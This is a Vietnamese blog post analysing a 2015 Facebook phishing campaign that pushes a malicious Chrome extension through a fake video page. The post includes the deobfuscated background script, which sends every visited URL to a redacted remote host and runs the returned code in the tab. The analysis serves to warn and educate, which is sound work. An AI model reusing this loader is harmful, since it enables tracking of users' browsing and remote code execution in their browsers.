Phân tích mã độc mới trên Facebook 15/11 (P1)

Hôm qua tôi vừa chia sẻ video 7 cách bảo vệ bạn trước các hacker trên trang Juno_okyo's Blog thì hôm nay trên Facebook thấy mọi người chia sẻ rất nhiều cái bài cảnh báo gì đó về một kiểu Hack tài khoản Facebook mới có dạng ai đó "đã nhắc đến bạn trong một bình luận".

Hack Facebook account 2015

Ở thời điểm hiện tại, khi nhấn vào thông báo thì bạn sẽ nhận được cảnh báo từ Facebook:

Facebook cảnh báo liên kết nguy hiểm

Để có thể viết bài phân tích cho các bạn, tôi sẽ nhấn vào Truy cập liên kết. Tuy nhiên các bạn hãy vào Quay lại để đảm bảo an toàn cho bản thân!

Sau khi nhấn vào thông báo, thay vì chuyển hướng tới bình luận như mọi khi thì người dùng sẽ bị chuyển hướng sang một trang web có giao diện giống hệt Facebook.

Dù đây là tấn công theo phương thức Phishing nhưng không phải kiểu thông thường mà chúng ta thường gặp là nhái trang đăng nhập. Lần này nó sẽ hiển thị một trang xem video như trên Facebook.

Fake Facebook video page

Sau khi truy cập khoảng 5 giây sẽ có một thông báo yêu cầu cài đặt Extension vào trình duyệt. Tại sao trang web có thể hiển thị thông báo như khi bạn nhấn nút cài đặt Extension trên Chrome Store? Đó là vì kẻ tấn công đã sử dụng phương thức Cài đặt nội tuyến (Inline Installation).

Tất nhiên là tôi sẽ không cài đặt rồi. Bằng một số thủ thuật tìm thấy trên Google, tôi tải được tập tin CRX (đuôi mở rộng của Extension) về máy.

Phân tích mã độc

CRX thực chất là một định dạng nén đặc biệt của Extension, giống như đuôi JAR của tập tin JAVA. Tức là ta có thể xem nội dung bên trong như một tập tin nén thông thường.

Mã độc Facebook 2015

Trong phần mở rộng này có một tập tin khá đặc biệt là 639040963078.mp3 (tập tin MP3 rất ít khi được sử dụng trong Extension). Quét thử với Virus Total thì kết quả có vẻ cũng không "nguy hiểm" lắm.

Tôi liền mở tập tin manifest.json ra coi. Đây là tập tin chứa các thông tin cơ bản và quyền hạn của một Extension.

Mã độc Facebook 2015

Phần quyền hạn (permission) có vẻ khá nhạy cảm. Nó quản lý các tab và mọi trang web mà bạn truy cập (kể cả trang web đó sử dụng giao thức bảo mật HTTPS).

Nhưng có một điểm thú vị hơn là phần kịch bản chạy nền (background):

"background":{
    "scripts":["639040963078.mp3"]
}

Tại sao tôi lại nói là thú vị? Vì phần này khai báo HTML hoặc JavaScript nhưng tác giả của Extension lại trỏ vào tập tin *.mp3

Tôi liền đổi đuôi tập tin 639040963078.mp3 thành 639040963078.js và mở lên xem nội dung.

Mã độc trên Facebook

Đoạn mã đã được làm rối (Obfuscated), tuy nhiên mã khá ngắn nên không tốn nhiều thời gian lắm để lấy lại đoạn mã ban đầu:

window.chrome.tabs.onUpdated.addListener(function(wyqhrr) {  
  window.chrome.tabs.get(wyqhrr, function(tab) {
    if (tab.status == 'complete') {
      var xhr = new XMLHttpRequest();
      xhr.open('GET', 'http://xxx.xyz/z.php?url=' + tab.url, true);
      xhr.onreadystatechange = function() {
        if (xhr.readyState == 4 && xhr.status == 200) {
          window.chrome.tabs.executeScript(tab.id, {
            code: xhr.responseText
          });
        }
      }
      xhr.send();
    }
  })
})

Chú ý: Tên miền trong đoạn mã chứa mã độc nên tôi đã ẩn.

Đoạn mã trên sẽ lắng nghe sự kiện mỗi khi người dùng mở tab mới hoặc tab được điều hướng. Khi sự kiện này xảy ra nó sẽ thực thi một đoạn mã độc từ xa. Nội dung mã độc mới được lấy thông qua Ajax.

Bài viết cũng đã khá dài. Tôi sẽ tiếp tục phân tích đoạn mã độc được thực thi trong phần 2.

Cập nhật: đã có phần 2, các bạn có thể đọc tiếp tại đây!